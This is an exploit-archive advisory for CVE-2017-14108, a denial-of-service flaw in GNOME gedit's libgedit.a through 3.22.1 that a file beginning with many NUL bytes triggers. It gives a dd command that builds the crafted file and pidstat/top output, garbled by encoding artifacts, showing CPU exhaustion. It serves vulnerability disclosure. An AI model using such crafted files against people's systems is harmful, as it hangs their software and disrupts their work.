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libgedit.a 3.22.1 Denial Of Service

libgedit.a 3.22.1 Denial Of Service
Posted Sep 4, 2017
Authored by Hosein Askari

libgedit.a versions 3.22.1 and below suffer from a denial of service vulnerability.

tags | exploit, denial of service
advisories | CVE-2017-14108
MD5 | 29588415b913569a7b184d76849bd89c

libgedit.a 3.22.1 Denial Of Service

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whom it may concern,
################

#Title: libgedit.a mishandeling NUL blocks in gedit(GNOME text editor) | Denial of service

#CVE: CVE-2017-14108

#CWE: CWE-400

#Exploit Author: Hosein Askari

#Vendor HomePage: https://gnome.org , https://wiki.gnome.org/Apps/Gedit

#Version : All Version (3.22.1 and older version)

#Tested on: Ubuntu 16.04 (Linux 4.4.0-93-generic)

#Date: 02-09-2017

#Category: Application

#Author Mail : hosein.askari@aol.com

#Description: libgedit.a in GNOME gedit through 3.22.1 allows remote attackers to cause a denial of service (CPU consumption) for a longtime via a file(less than 100KB) that begins with many '\0' characters.

###############

#sudo echo -ne '\x68\x6f\x73\x65\x69\x6e\x20\x61\x73\x6b\x61\x72\x69' | dd conv=notrunc bs=1000 seek=100 of=craft.txt

#################

POC:

constantine@constantine:~$ pidstat -h -r -u -v -p 3107

Linux 4.4.0-93-generic (constantine) A A A U+-U*/UdegU1/UdegU+- A A A _i686_A A A (2 CPU)

#A A A A A TimeA A UIDA A A A A A PIDA A A %usr %systemA %guestA A %waitA A A %CPUA A CPUA minflt/sA majflt/sA A A A VSZA A A A RSSA A %MEM threadsA A fd-nrA Command

A 1504280041A 1000A A A A A 3107A A 16.43A A A 0.01A A A 0.00A A A 0.03A A 106.44A A A A 1A A A A 15.53A A A A A 0.00A 121296A A 38804A A 0.95A A A A A A 4A A A A A 18A gedit

constantine@constantine:~$ top

A PID USERA A A A A PRA NIA A A VIRTA A A RESA A A SHR SA %CPU %MEMA A A A TIME+ COMMANDA A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A

A 3107 constan+A 20A A 0A 128884A 38492A 28320 R 106.7A 0.9A A 0:17.76 gedit

#########################
Best Regards

Hosein Askari

Contact : hosein.askari@aol.com
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